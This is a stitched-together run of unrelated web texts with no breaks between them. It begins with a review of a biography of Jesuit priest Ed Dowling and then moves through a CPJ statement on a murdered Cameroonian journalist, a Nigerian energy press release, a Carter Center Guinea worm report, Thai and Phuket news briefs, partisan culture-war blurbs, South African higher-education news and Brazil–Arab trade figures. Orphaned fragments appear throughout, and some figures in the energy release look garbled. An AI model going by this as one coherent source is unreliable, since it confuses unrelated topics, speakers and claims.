I found the most interesting part of Father Ed to be its exposition of the connection Dowling saw between the 12-step program of Alcoholics Anonymous and the Spiritual Exercises of St. Ignatius. With his Jesuit formation, Dowling was well versed in the Exercises, so much so that he immediately recognized the parallels when he learned of the 12 steps. It was this connection that led him to seek out Bill Wilson and that endeared AA to him as a way to reach non-Catholic and even non-Christian souls with the spiritual nourishment of St. Ignatius guiding principles. As Goldstein puts it, Father Ed therefore saw his ministry to AA members as akin to the work of an Ignatian spiritual director. It was an opportunity for him to bring spiritual liberation to people on a large scale.

The spiritual element of the 12-step program has been commented on before. However, the specific resemblance of the Steps to the Spiritual Exercises seems to be a more novel claim. Goldstein lays out in detail some of the correlations Dowling saw, and any reader of faith who has had personal or familial experience with AA will find the connections she draws fascinating.

Another prominent theme of Father Ed is its emphasis on empathy as Dowlings defining virtue. Goldstein continually describes instances of Dowling showing up for the people in his life, often taking the initiative to reach out to those he knew were in trouble and lending a listening ear when they sought him out. Despite his rigorous Jesuit training, he never judged people who came to him for help according to whether they were Catholic or not. For example, as evidenced throughout the book, he was a faithful friend and spiritual father to Bill W., who never took the leap of faith to join the Catholic Church despite his consistent attraction to it.

Goldstein highlights many other kinds of people to whom Dowling gave compassionate guidance in their personal strugglescertainly alcoholics but also those dealing with troubled marriages, spiritual scruples, mental disorders, drug addictions, same-sex attraction, and other difficulties. Dowling loved people and saw the desperate need of individuals both within and outside the Catholic Church to be heard, encouraged, and given tools to move forward in their lives. One friend called him an ambassador at large to humanity, and this seems to be his most significant legacy.

By Goldsteins account, Father Ed was no stranger to suffering himself. In 1921, at the age of 23, he first began experiencing arthritis in his leg, which slowly worsened over the rest of his life until he could hardly walk without assistance. The calcification of his spine and corresponding debilitation, however, gave him a chance to learn from the school of suffering how to be conformed to Christ, and he took it. His wholehearted, joyful embrace of the sufferings that came his way exemplified to those he ministered to how to undergo their own Glad Gethsemane (as he phrased it).

Emphasized alongside Dowlings profound empathy is his consistent orthodoxy. Throughout the book, Goldstein makes a concerted effort to show that Dowling both was faithful to Catholic doctrine and made that doctrine come alive by applying it in ways that helped people find healing. He had the gift of loving the sinner in a way that never conveyed approval of the sin. Dowling was passionate about sharing the Churchs teachings, particularly those related to issues of social justice. He was on the front lines combatting racism, political discrimination, and social exclusion of any kind, proclaiming the truth that each person is infinitely valuable. His vocal outcries against injustice sometimes shocked his audiences, but he gained popularity because he engaged people right in the midst of their ordinary difficulties, applying the time-tested truths of the Faith in accessible and novel ways.

This orthodoxy coexisting with a passion for social justice may spark questions in the reader regarding Father Eds influence on the Jesuit order in America. As Rachel Lu recently wrote in Law and Liberty: The mid-20th-century Jesuits were not, as a group, particularly conservative or traditional.  Having always served a diverse and less-advantaged population of students, the Jesuits were naturally sympathetic to the early strains of diversity-and-inclusion rhetoric. Its not a stretch of the imagination to see Father Ed fitting this mold. While he seems to have adhered faithfully to Catholic doctrine, his massive efforts to promote democracy, equality, and fair treatment may have contributed to the reorienting of some swathes of the Jesuit order toward what would eventually be referred to as woke movements. This book does not comment on his legacy in that regard, which is a shame, as it would be fascinating to see where the threads might connect to some prominent left-leaning Jesuits of our own day.

Father Ed was ahead of his time not only in his passion for equality and fair treatment but also in his proclamation of the universal call to holiness. He emphasized (prior to its declaration in the documents of Vatican II) that living a life wholly dedicated to the Lord was not just for priests and vowed religious but for everyone: married, single, male, female, old, young. He encouraged those who came to him to seek to grow closer to the Lord in their daily lives and offered them practical advice for how to do thisfor example, he counseled Catholics to receive the Eucharist frequently so that they might be strengthened by grace in their sufferings.

If I have one criticism of the book, its that it is almost too uncritical. The laudatory tone Goldstein adopts in describing Dowling can sound a bit biased on occasion, though the painstaking documentation she provides certainly lends credence to her adulation. Another thing that could bother some readers is the insertion into the narrative of the thoughts and feelings of Dowling and other characters as particular events unfold. Some may find it helps their imaginations absorb the scenes in a more robust way; others may wish only for the bare facts without speculation on the subjects mental state, predictable as the latter may seem to be.

Toward the end of the book, Goldstein describes the regularity with which a steady stream of individuals from all walks of life would stop by the Queens Work headquarters to seek advice from Father Ed. I was reminded of the scene from the recently released film Father Stu where another priest with debilitating illness had a line out the door of visitors waiting for him to speak wisdom into their difficult life circumstances. It seems that Father Ed could very well be the next priest whose inspiring life story is told on the big screen, if Goldsteins biography generates enough stir. Consider this my contribution in that regard.
That release could not be found.
New York, January 23, 2023  In response to news reports that Cameroonian journalist Martinez Zogo was found dead on Sunday, the Committee to Protect Journalists issued the following statement calling for those responsible to be brought to justice:

Cameroonian authorities must conduct a swift and thorough investigation into the shocking abduction and killing of journalist Martinez Zogo, said Angela Quintal, CPJs Africa program coordinator. Zogos brutal death is only the most recent attack on press freedom in Cameroon, which remains one of Africas worst jailers of journalists, and where there remains a woeful lack of information on the 2019 death of journalist Samuel Wazizi in government custody.

Unidentified attackers abducted Zogo, editor-in-chief of the privately owned radio broadcaster Amplitude FM, on January 17. He had recently reported on alleged public embezzlement involving a prominent businessman. The attackers chased Zogo to the gate of a gendarmerie office near his home, where he had sought help, and then kidnapped him, according to those news reports.

The journalists widow told CPJ by phone that she identified Zogos body at a morgue in the capital city of Yaounde on Sunday. Media reports said the body had been found naked, mutilated, and in a state of decomposition in the nearby town of Soa.

Cameroonian journalist Samuel Wazizi died in government custody in August 2019, but authorities failed to inform Wazizis family of the death for nearly a year. CPJ has called for Cameroonian authorities to account for Wazizis death.
Timipre Sylva, the Minister of State for Petroleum Resources of Nigeria, will be attending the African Energy Chamber-organized Invest in African Energy Reception in London on January 26.

The African Energy Chamber (AEC) is proud to announce that Timipre Sylva, Minister of State for Petroleum Resources of Nigeria, will lead investment-focused dialogue during the Invest in African Energy Reception set to take place in London on January 26.

With the Nigerian energy market on the precipice of another transformation on the back of diversification and market-driven policy implementation, the participation of Chief Sylva is key for securing new capital for Nigerias rapidly growing market, while enabling new players and financiers to expand their footprint in one of Africas biggest oil producing countries.

Nigeria has emerged as one of the most attractive destinations for foreign investment owing largely to the signing into law of the Petroleum Industry Act in 2021.

With the Act having overhauled the countrys regulation and governance, addressing key growth inhibitors by prioritizing transparency, procedural clarity and attractive fiscal terms for regional and international players, the Nigerian energy market is more enabling for business than ever, and the Minister will showcase opportunities in the sector during the Invest in African Energy Reception in London.

The Act itself has already unlocked tangible benefits, with the country positioning itself as the biggest oil producer in Africa in 2023, despite a year of production declines owing to challenges associated with oil theft and reduced exploration.

Oil-and-Gas refinery

With the state-owned company, the Nigerian National Petroleum Corporation identifying and shutting down an illegal pipeline responsible for the loss of up to 600,000 barrels per day (bpd) of crude oil, production has rapidly increased to approximately 1.2 million bpd in December 2022, setting the country up for an exciting year in 2023.

The country is more ambitious than ever when it comes to expanding the oil and gas market even further, with the government incentivizing E&P activity in a bid to boost production levels further. As such, opportunities for upstream players have opened up and Minister Sylva will be making a strong case for hydrocarbon exploration during the reception in London.

Opportunities in the oil industry

Over 200 trillion cubic feet (cft) of proven natural gas reserves  and opportunities to increase this figure to 600 cft with advancements in exploration  have positioned the country as the destination of choice for financiers and project developers from across the natural gas landscape.

At a time when global markets are urgently seeking alternative gas supplies in light of ongoing supply constraints, Nigerian gas has emerged as a top solution, and investors are encouraged to capitalize on the opportunities present across this rapidly growing market. Nigerias oil and gas market opportunities transcend exports, with the country well-positioned to feed into regional supply chains.

Having signed a deal with Equatorial Guinea that would see Nigerian gas being processed at the countrys Punta Europa facilities while making steady progress to complete the Trans-Saharan Gas Pipeline and breaking ground of new project developments, Nigeria is opening new opportunities for electrification and industrialization in Africa on the back of intra-African gas trade, made possible through initiatives such as the African Continental Free Trade Agreement and the Central African Pipeline System.

Through his participation at the Invest in African Energy Reception in London  taking place in partnership with the African Export-Import Bank and Rystad Energy  Minister Sylva has made clear his commitment to securing new capital for a suite of large-scale projects across the entire energy value chain in Nigeria.

NJ-Ayuk

During the event, the Minister will be driving market-focused dialogue on why investing in Nigeria is so critical, both for the African economy and for the global energy market at large.

The London event provides financiers and energy players with the unique opportunity to directly engage and connect with a leading government representative from the biggest oil producer in Africa, and the AEC is encouraging all of those interested in expanding their footprint in Africa to join us at this high-level event, states NJ Ayuk, Executive Chairman of the AEC.Thanks
Provisional figure marks a 13% reduction from record low reported in 2021

Infections in animals, key to eradication, decline 21% from previous year

Democratic Republic of the Congo certified as free of Guinea worm

We are heartened that eradication can be achieved soon, former President Carter says

ATLANTA (Tuesday, January 24, 2023)  Only 13 human cases of Guinea worm disease were reported worldwide in 2022, pushing the disease closer to eradication, The Carter Center announced Tuesday.

The provisional figure is the lowest annual case total ever reported. When The Carter Center assumed leadership of the global Guinea Worm Eradication Program in 1986, about 3.5 million human cases occurred annually in 21 countries in Africa and Asia.

The record low case count delighted former U.S. President Jimmy Carter, who co-founded The Carter Center in 1982 with his wife, former First Lady Rosalynn Carter.



Rosalynn and I are pleased with this continued advance toward eradicating Guinea worm disease, President Carter said. Our partners, especially those in the affected villages, work with us daily to rid the world of this scourge. We are heartened that eradication can be achieved soon.

The 13* cases in 2022 mark a 13% decline from 2021, when 15 cases were reported. (*All figures are provisional until officially confirmed, typically in March.) Guinea worm is poised to become the second human disease in history to be eradicated, following smallpox, and the first without a medicine or vaccine. Community-based and innovative behavior change and local mobilization are the key drivers of success.

Guinea Worm Eradication Program Director Adam Weiss said: We continue to study ways to defeat and prevent this infection. Community members, ministries of health, and our partners are working with us to implement interventions that are effective, including research to find innovative solutions. We wont stop until the last Guinea worm is gone.

Case and Infection Numbers by Country

During 2022, six human cases of Guinea worm disease were reported in Chad. Five human cases were reported in South Sudan, one in Ethiopia, and one in the Central African Republic, which remains under investigation (cases can be imported from endemic to non-endemic countries).



Guinea worm infections in animals were down 21%: Chad reported infections in 605 animals, Mali reported 41, Cameroon 27, Angola seven, Ethiopia three, and South Sudan one. The worms that infect animals are the same species (D. medinensis) as those that infect humans; therefore, eradication requires stopping infections in both. Case and infection details can be found in the latest issue of the CDC-WHO-Carter Center publication Guinea Worm Wrap-Up.



Summit Energizes Campaign

At a March 2022 summit hosted by The Carter Center and the United Arab Emirates Crown Prince Court and in collaboration with the World Health Organization, representatives of impacted countries and organizations renewed their commitment to eradicating Guinea worm disease by 2030. They signed the Abu Dhabi Declaration on the Eradication of Guinea Worm Disease, pledging to commit resources, energy, and policy initiatives to make Guinea worm only the second human disease ever to be eradicated, after smallpox in 1980.

Following the summit, the Democratic Republic of the Congo sought and received certification from the World Health Organization that it had eliminated Guinea worm disease. The DRC had not reported a case of the disease since 1958.

Learn more about outcomes from the summit: Blog | Abu Dhabi Summit Energizes Guinea Worm Campaign (cartercenter.org)

With the certification of the DRC, the WHO has now certified 200 countries, areas, and territories, including 188 WHO member states, as free of dracunculiasis transmission. Globally, only six countries remain to be certified, including five endemic countries (Angola, Chad, Ethiopia, Mali, South Sudan) and one formerly endemic country (Sudan, which is now in the precertification stage).

I am glad to start my new position with such good news, Dr. Ibrahima Soce Fall, the newly appointed director of the WHOs Department of Control of Neglected Tropical Diseases, said in a press release in December. We now need to focus on certification of Sudan as the next milestone on the way towards global eradication of Guinea worm disease.

Guinea Worm is a Neglected Tropical Disease

The Carter Center announcement comes in advance of the fourth annual World Neglected Tropical Diseases Day, this Monday, Jan. 30. Neglected tropical diseases (NTDs) are a group of 20 preventable and treatable diseases, including Guinea worm, that affect more than 1.7 billion people around the world. NTDs cause disability and disfigurement, and some can be fatal. They create cycles of poverty and cost developing nations billions of dollars in direct costs and lost productivity. Since 1986, the Center has been a pioneer in the eradiation, elimination, and better control of NTDs, including Guinea worm, river blindness, trachoma, and lymphatic filariasis.

World NTD Day, conceived by the UAE, is described as a catalyst to translate awareness into action, secure increased resources for NTDs, facilitate political leadership and ownership of NTD programs in affected countries, and measure progress of the WHO-endorsed 2030 NTD Road Map. Hundreds of partners mark World NTD Day, promoting action to #BeatNTDs.

Community Involvement

Community and family members in endemic places are responsible for the day-to-day work of maintaining community awareness and education about Guinea worm, along with monitoring for infections, filtering drinking water, and protecting water sources from contamination.

Committed communities are the key ingredient to making this program work, said Dr. Kashef Ijaz, vice president of Carter Center health programs. There is no medicine or vaccine for Guinea worm, so success depends on people in every household taking diligent care to filter their water and do the other things needed to prevent infection.

People in endemic countries helpfully reported hundreds of thousands of possible Guinea worms in 2022, and health workers promptly investigated all such rumors, which are key to finding actual cases and infections.



Its vitally important that every rumor be investigated promptly, said Dr. Donald R. Hopkins, the Carter Centers special advisor for Guinea worm eradication. Almost all reports turn out to be something else, but we must be sure in order to prevent water sources from becoming contaminated and putting more people at risk. Community members are this programs eyes and ears in the villages.



About Guinea Worm Disease

Guinea worm disease is usually contracted when people consume water contaminated with tiny crustaceans (called copepods) that eat Guinea worm (Dracunculus medinensis) larvae. The larvae develop into adults within the human host. After about a year, a meter-long pregnant female worm emerges slowly through a painful blister in the skin, often of the legs or feet. A sufferer may seek relief by dipping the affected limb in water. However, contact with water stimulates the emerging worm to release its larvae and start the cycle anew. Guinea worm disease incapacitates people for weeks or months, reducing individuals ability to care for themselves, work, grow food for their families, or attend school.

Robust Research Agenda and Guinea Worm Interventions

Without a vaccine or medicine, the ancient parasitic disease is being eradicated mainly through community-based interventions to educate people and change their behavior.

Tethering dogs to keep them out of water and not allowing them to eat potentially contaminated fish entrails are key factors in improving Guinea worm infection figures in animals, particularly in Chad and Ethiopia. Those who catch, sell, and consume fish and other aquatic animals are encouraged to burn or bury discarded entrails to keep dogs from consuming Guinea worm-contaminated copepods the entrails might contain.

Other interventions to stop transmission include community-based health education, the use of filters (donated by Vestergaard's LifeStraw) for all drinking water, prevention of people and animals with emerging Guinea worms from entering water sources, and targeted use of the larvicide ABATE (donated by BASF) in stagnant water sources. To boost surveillance, all endemic countries offer cash rewards for reporting potential cases and animal infections.

Scientists from the countries, The Carter Center, and other institutions continue to conduct intensive research and trial of new interventions in the quest to eradicate the disease.

Eradication a Monumental Challenge

Eradication means a disease has been eliminated worldwide, with no natural possibility of return. The final cases are most challenging, requiring persistence, ingenuity, and enormous amounts of resources to operate in difficult, remote, and often insecure areas. Only one human disease has ever been eradicated; that was smallpox, in 1980. For a disease to be declared eradicated, every country in the world must be certified free of human and animal infection, even countries where transmission is never known to have taken place. To date, the WHO has certified 200 countries free of Guinea worm; only six have not been certified. After three consecutive years of indigenous transmission, Angola was added to the list of endemic countries in 2020; however, the country reported zero human infections in 2021 and 2022. Cameroon was certified by the WHO as Guinea worm-free in 2007; that country reported one case in 2019 and one in 2020 (both likely imported from Chad) but is not endemic because it has not had three years of indigenous transmission. The Democratic Republic of the Congo was certified in 2022; it had not reported a case since the 1950s.



Key Implementing Partners Roles

The Carter Center works closely with national ministries of health, the WHO, the U.S. Centers for Disease Control and Prevention (CDC), UNICEF, and many other vital partners. The Carter Center provides technical and financial assistance to national Guinea worm programs to help interrupt transmission of the disease. For remaining endemic countries, when transmission is interrupted, the Center continues assisting surveillance and helps them prepare for official evaluation by the International Commission for the Certification of Dracunculiasis Eradication and certification by the WHO. The WHO also provides technical and financial support to improve surveillance, particularly in cross-border areas, including countries that have already been certified to help them maintain Guinea worm-free status. The CDC provides technical assistance and verifies that worm specimens truly are Guinea worms.

Partnerships

Many generous foundations, corporations, governments, and individuals have made the work to eradicate Guinea worm disease possible, including major support from the Bill & Melinda Gates Foundation; the United Kingdom's Foreign, Commonwealth & Development Office; the Children's Investment Fund Foundation; John and Kathleen Schreiber; and Alwaleed Philanthropies. Major support from the United Arab Emirates began with His Highness Sheikh Zayed bin Sultan Al Nahyan, founder of the UAE, continued under His Highness the late Sheikh Khalifa bin Zayed Al Nahyan, and has grown under His Highness Sheikh Mohamed bin Zayed Al Nahyan, president of the UAE, through his Reaching the Last Mile (RLM) initiative. BASF has donated ABATE larvicide (temephos) since 1990, and Vestergaard's LifeStrawhas donated personal pipe filters and household cloth filters since 1999. The DuPont Corporation and Precision Fabrics Group donated nylon filter cloth early in the campaign. The government of Japan has supported the Guinea Worm Eradication Program since 1992 and recently awarded it the Hideyo Noguchi Africa Prize in appreciation of the campaign.

Guinea Worm Eradication Challenge Fund Extended

In its first three years, the Carter Centers Challenge Fund for Guinea Worm Eradication  which matches, dollar for dollar, new funds raised for the Guinea Worm Eradication Program  has brought together diverse funding partners with contributions totaling over $14 million. In July 2022, the Challenge Fund was extended for a fourth year, availing $10 million of new Carter Center matching funds for new support from partners granting $100,000 or more.




A bomb explosion has reportedly killed many people in the Galadima Kogo, Shiroro Local Government Area (LGA) of Niger State

A security analyst and some residents of the community have sent multiple distress signals over the incident.

The security analyst identified as @secmxx via his Twitter handle, stated that an unspecified number of residents are currently feared dead and injured.

Accounts of individuals residing in the state have also confirmed the reports.

A Facebook user, Massanja Danlami, wrote: Shiroro Local Government on Fire especially Galkogo community need our prayers. Many lives have lost (sic). Oh Allah protect us.

Another user, Beli Abubakar Nasiru, wrote: Innalillahi Wa innailaihirrajiun. Reports coming in, from the Bomb blast that occurred today in Galadima Galkogo in Shiroro LGA is not good at all a lot of casualties. Ya Allah has mercy on us.

When contacted, the States Commissioner of Internal Security and Home Affairs, Emmanuel Umar, confirmed an attack that had occurred in the community but debunked the report of an explosion.

He also did not state the nature of the incident and when it occurred.

He said, There is an attack that happened, and I am in the middle of an emergency now, but get it correctly, it is not an explosion, but we are trying to find out what truly happened.
Another cop fingered in VVIP police escort of Chinese tourist

BANGKOK: Police say another non-commissioned officer was involved in offering an unsanctioned police escort service through a tour operator to a Chinese tourist, who revealed the illicit VVIP service via social media.

immigrationpolicecorruptionChinese

By Bangkok Post

Tuesday 24 January 2023, 01:46PM

Air travellers walk through immigration fast lanes at Suvarnabhumi airport outside Bangkok. Photo: Varuth Hirunyatheb / file

Pol Maj Gen Atchayon Kraithong, spokesman for the Royal Thai Police Office, said yesterday (Jan 23) a police senior sergeant major proposed a bespoke police escort service to a tour firm, offering to whisk Chinese visitors directly from their plane to their hotel.

The police senior sergeant major proposed the service to a tour operator he met at an event last November, Pol Maj Gen Atchayon said, without elaborating on the non-commissioned policeman.

To enact the controversial escort service, the police senior sergeant major had a tourist police captain meet the Chinese tourist at Suvarnabhumi airport. After picking up her luggage, the captain then ushered her through an immigration fast lane, reports the Bangkok Post.

Once outside the airport, the police senior sergeant major had two traffic police sergeants escort the Chinese tourist in a motorcade from the airport to her hotel in Pattaya.

The two traffic policemen were charged with violating the Land Traffic Act and the Official Symbols Act.

A motorcycle and a car used in the motorcade were private vehicles but they were attached with sirens and the logos of the Royal Thai Police Office without permission, Pol Maj Gen Atchayon said.

Police would question the tour operator and the female Chinese tourist to support their investigation into the case.

Police would also verify statements she made in her video clip and the claim that the policemen in the motorcade received B7,000 plus a B200 tip.

Additionally, investigators would find out how long the group of policemen had provided the escort service and whether they should be prosecuted for wearing police uniforms while doing so.

The police spokesman said police officers were not permitted to offer such escort services to individual tourists. Police escort service must be approved by a traffic police commander in Bangkok or a highway police commander in other provinces and performed only for groups of people in convoys.

Deputy Prime Minister Anutin Charnvirakul said on Monday no law permitted police to operate such a sideline and the officers in question had therefore broken the law and police regulations.

We did not advertise any escort service for visitors, he said.

Those who did this must be prosecuted and punished.
Hollywood can turn anything into a movie these days. People fail to realize how influential the Pirates of the Caribbean franchise was to the kind of movies that Hollywood greenlights. Before Pirates of the Caribbean, the conventional wisdom was making a film about a ride or toy was an impossible feat, as there wasn't enough story to justify a two-hour commitment from an audience.

However, when Pirates of the Caribbean made absurd profits in conjunction with garnering copious critical praise, Hollywood realized that nothing was off-limits regarding film adaptations. In the decades following Pirates of the Caribbean, we got two Lego movies, an Emoji movie and a Battleship movie. It's kind of shocking to think we haven't gotten a Mcdonald's movie yet, but I don't wanna give Tinsletown any ideas.

Keeping the focus on films inspired by toys, according to Deadline, Bad Robot-the JJ Abrams-led production house that helmed the Star Trek reboot series and Star Wars sequels-is gearing up to produce a Hot Wheels movie.
COVID-19 vaccine available for foreigners nationwide

BANGKOK: The Public Health Ministry plans for at least one COVID-19 vaccination centre per province for foreign tourists paying for shots, while foreign residents will continue to get free jabs.

COVID-19tourismhealth

By Bangkok Post

Tuesday 24 January 2023, 05:22PM

People get COVID-19 shots at the Thai-Japanese Youth Centre in Din Daeng district, Bangkok, early this month. (Photo: Varuth Hirunyatheb / Bangkok Post

Dr Opas Karnkawinpong, Permanent Secretary at the Ministry of Public Health (MoPH), said on Tuesday (Jan 24) there should be vaccination centres in all provinces because foreign tourists did not limit their visits to only major provinces, reports the Bangkok Post.

The vaccination service would be provided on a voluntary basis and the government would use only the vaccines that it procured, he said.

Foreigners staying long-term in the country would continue to receive free COVID-19 vaccines, in line with government policy to vaccinate everyone living here against the disease, Dr Opas said. This included businesspeople, workers and diplomats and their family members.

Dr Tares Krassanairawiwong, Director-General of Department of Disease Control (DDC), said his department provided a vaccination service at Bang Rak Medical Centre in Bangrak district and the Institute for Urban Disease Control and Prevention in Bang Khen district.

The department provided the same service at its travel medicine clinics in Chiang Mai, Chon Buri and Songkhla provinces, and also in Phuket province**.

Foreign tourists must pay B800 for a shot of AstraZeneca vaccine or B1,000 per Pfizer vaccine dose, plus a B380 medical service fee, Dr Tares said.

The department had not so far given approval for private organisations to provide the service. It was still in the planning stage, he said.

Dr Thongchai Keeratihuttayakorn, Director-General of MoPHs Department of Medical Services, said his department provided a vaccination service at its Institute of Dermatology, Lerdsin Hospital, Rajavithi Hospital and Nopparat Rajathanee Hospital and at Chiangmai Neurological Hospital.

The Institute of Dermatology and Rajavithi Hospital were main vaccination centres because they were near areas where foreign tourists stay and transport networks, and staff were long familiarised with providing services for foreigners, he said.

** Phuket health officials have yet to announce where tourists and expats can get the jabs being offered under the new scheme.

At last report, Phuket Vice Governor Danai Sunantarod announced that booster jabs were avaliable at main government hospitals on the island on specified days. (See story here.)
Dates announced for Phuket Heroines Festival

PHUKET: The annual Phuket Heroines Festival light and sound show this year will be held on the traditional dates of Mar 13-15, officials have confirmed.

culture

By The Phuket News

Tuesday 24 January 2023, 01:21PM

The annual Heroines Festival will return from Mar 13-15. Photo: PPAO file

The dates for the festival were announced at a meeting at Phuket Provincial Hall chaired by Phuket Vice Governor Amnuay Pinsuwan yesterday (Jan 23).

Present for the meeting were a host of officials involved in organising the annual celebration, including Rewat Areerob, President of the Phuket Provincial Administration Organisation (PPAO).

As is tradition, merit-making ceremonies to honour Phukets two famed Heroines Thao Thep Krasattri and Thao Sri Soonthorn  better known locally as Chan and Mook  will begin on the first Saturday of March (Mar 4) with a group ordination of novice monks at Wat Thep Wanaram (Manik Temple).

Other merit-making activities to pay tribute to the Heroines for leading locals to successfully repelling a Burmese invasion in 1785 will ensue, including ceremonies at Wat Muang Komaraphat, in Tambon Thepkrasattri, on Mar 12 for descendants of the Heroes of Thalang to honour their ancestors.

The cultural festivals renowned light and sound stage show retelling the victory over the Burmese marauders will begin on Mar 13, the date officially recognised as achieving victory over the incursion.

A special wreath-laying ceremony at the Heroines Monument will also be held on the day.

The annual performance will be held at Thalang Victory Field each night until Mar 15.
Patong police arrest man, 61, for cocaine on Bangla Rd

PHUKET: Patong Police have arrested a 61-year-old man for possession of cocaine on the popular nightlife street Bangla Rd.

patongdrugscrimepolice

By Eakkapop Thongtub

Tuesday 24 January 2023, 05:56PM

The man, named by police as Samroeng Sangthong, 61, a resident of Patong, was placed under arrest on Bangla Rd at 2:30am on Saturday (Jan 21), Patong Police reported.

Samroeng was found with cocaine ready to use in three separate plastic bags, police noted.

One bag contained 0.94 grammes of cocaine, another contained 0.9g and the third contained 0.74g of the drug, police said.

Samroeng was taken to Patong Police Station and charged with possession of a Category 2 narcotic for consumption, officers reported.

No reason was given for the delay in announcing Samroengs arrest.

However, the arrest was credited as under the direction of Patong Police Station Chief Col Sujin Nilbadi and Deputy Chiefs Lt Col Preecha Baringpattanakul and Lt Col Wutthiwat Liangboonjinda.

The arrest was made by a team of officers led by Capt Thongplew Kruehom of the Patong Police joined a special patrol network of Tourist Police led by Capt Ittikorn Phacharadet, overseen by Tourist Police regional senior officers Maj Gen Chaiyaphong Wanichacheewa, police noted.

By coiincidence, Mr Samroengs arrest follows the arrest of an Uzbek woman caught trying to smuggle 2.23 kilogrammes of cocaine into Phuket after arriving on a flight from Doha last Friday (Jan 20).
Rather than find fans excited about Disney's inclusive choices and the coming reimagining of a ride that could barely be considered "beloved" when Disney decided to remake it, this CNN video gives a bunch of old bigots time in the spotlight.

There are children excited to see more Tiana in the park. Mine is one of them.

CNN:

Disney has closed Splash Mountain, one of its long-running attractions in the Magic Kingdom theme park, as the company plans to reimagine the ride to remove any ties from the controversial film "Song of the South." Some fans have filed a petition to keep the ride the same. CNN's Audie Cornish discusses on "CNN This Morning."

Image: screen grab
06:26:54 AM

Today

Mostly cloudy skies. Low 28F. Winds NW at 10 to 20 mph.

Tonight

Mostly cloudy skies. Low 28F. Winds NW at 10 to 20 mph.

Tomorrow

Mainly cloudy. High 46F. Winds NW at 10 to 15 mph.
Imagine how many cases in the last two years could have been avoided says DeBellefeuille, the injustices that could have been stopped in their tracks,
Conservative homophobes are gnashing their teeth over Pink Floyd's new logo commemorating The Dark Side of the Moon's 50th anniversary. Why? The colors remind them of the gay pride flag, which upsets their delicate boomer bigotry.

Seemingly unaware that the original album art for The Dark Side of the Moon also featured the colors of the rainbow, sensitive gay-haters flocked to social media to broadcast their displeasure, threaten a boycott, and demand that the band be canceled.

"Lose the rainbow, you're making yourself look stupid!" exclaimed Wild Bill. "What is that pink Floyd what a disgrace," ejaculated Michael Donavan. "After seeing this logo I will not buy the reissue," pouted Teet Hiob. "are you going woke with rainbows, is there a straight flag. I want equal representation, don't get me wrong, we should all be true to who we are Peace" expressed David Tupman, apparently unhappy that straight people are not given enough representation in society. "Just another band pandering. Thier fame and amazing soul changing music can't save them from being in the 'woke' crowd. Unsubscribe," lamented Steve Chandler Jr.

These querulous gentlemen apparently took "We don't need no education" as life advice.
Have an interesting bit of news youd like to see mentioned in the Along the Way column? Email it to Natasha Connolly at news@thesunchronicle.com .
Our View: State GOP needs to give its chairman the boot
South Africa: Addressing gender-based violence at institutions of higher learning

As part of dealing with gender-based violence and femicide (GBVF) at institutions of higher learning, government will soon be launching the Transforming MENtalities Initiative, with a focus on mobilising men in the sector to become champions for a world free of gender biases, stereotypes, violence and discrimination.

Higher Education and Training Minister, Dr Blade Nzimande, on Tuesday said the department had noted various incidents of gender-based violence on campuses with many resulting in female students being brutally killed.

Briefing the media on the state of readiness for the post school education and training (PSET) sector for the 2023 academic year on Tuesday, Nzimande said the brutal murder of Nosicelo Mtebeni, Uyinene Mrwetyana, Precious Ramabulana, Jesse Hess, and others had highlighted the vulnerability of female students to gender-based violence.

He said all institutions, working with HIGHER HEALTH, sought to provide safe workplaces and learning spaces for staff and students.

HIGHER HEALTH is currently implementing programmes towards addressing the challenges of sexual and gender-based violence within the PSET system. These programmes are aligned to the DHET Policy Framework to Address Gender-Based Violence (GBV) in the Post-School Education and Training System.

Through HIGHER HEALTH we have established a multi-sectoral PSET Gender-Based Violence Technical Task Team chaired by Professor LenkaBula, to ensure the effective implementation of the DHET Policy Framework, Nzimande said.

In addition, he has established a Ministerial Task Team on Sexual Harassment and Gender-Based Violence in the university sector, chaired by Professor Sibongile Muthwa.

The MTT has submitted a report for consideration and the Minister will soon be releasing it to the public.

NSFAS student accommodation

Meanwhile, Nzimande announced that for the 2023 academic year, all institutions will apply their own existing process to allocate accommodation, including universities and Technical Vocational Education and Training (TVET) colleges.

The new reforms by National Student Financial Aid Scheme (NSFAS), will not apply in this current registration period. However, it must be noted that NSFAS opened the new accommodation portal on the 9th December 2022 and 44 accreditation agents were appointed to start with the accreditation of accommodation, Nzimande explained.

He added that since the opening of the portal, 1 120 accommodation providers have applied on the site, with 574 272 beds listed.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
Brazilian exports to the Arab world witnessed a staggering growth, climbing to $17.743 billion in 2022, according to the Arab Brazilian Chamber of Commerce (ABCC). Brazil's imports have touched $15.037 billion in 2022.

Brazilian exports to Saudi Arabia witnessed a growth of 41.26% from $2.070 billion in 2021, to $2.925 billion in 2022. Similarly, exports to the UAE increased by 40.09%, from $2.327 billion in 2021, to $3.260 billion in the following year.

Additionally, the Brazilian exports to Egypt also saw an increase of 41.20% to $2.843 billion in 2022, compared to $2.014 billion in 2021. Qatar witnessed a similar growth of 45.33% from $284.26 million in 2021 to $413.132 million in 2022, while Kuwait saw a surge of 56.91%, amounting to $303.886 million in 2022, compared to $193.66 million in 2021.

Cane and beet sugar

The ABCC report stated that products like cane or beet sugar, and chemically pure sucrose in solid form were the top products exported to the Arab world, totalling to $3.443 billion in 2022. Meat and edible offal of the poultry both fresh and frozen followed closely behind cane in the list of top exported commodities, which amounted to $3.164 billion.

This was further followed by iron ores and concentrates including roasted iron pyrites ($2.914 billion), maize or corn ($2.013 billion), soyabeans ($1.107 billion), and frozen meat of bovine animals ($805.640 million).

Meanwhile, Brazilian imports from the Arab countries have also seen a substantial surge in the previous year. The imports from the UAE totalled at $2.518 billion in 2022, rising at a rate of 157.57% from $977.82 million in 2021. Likewise, the imports from Saudi Arabia increased by 83.89% from $2.880 billion in 2021, to $5.297 billion in the previous year.

Egypt saw a similar surge of 18.11% from $541.97 million in 2021, to $640.11 million in 2022, while Qatar witnessed a growth of 53.11%, increasing from $789.27 million in 2021 to $1.208 billion in 2022. Additionally, Kuwait experienced a similar rise of 555.54% from $50.55 million in 2021, climbing to $331.38 million in 2022.

Crude oil

According to the report, the top imported products from the Arab region were crude oil from petroleum and bituminous minerals ($3.786 billion), petroleum oils and oils obtained from bituminous minerals ($3.713 billion), nitrogenous mineral and chemical fertilisers ($2.586 billion), mineral or chemical fertilisers containing two or three of the fertilising elements - nitrogen, phosphorus, and potassium ($2.130 billion), and phosphatic mineral or chemical fertilisers, phosphatic ($814.70 million).

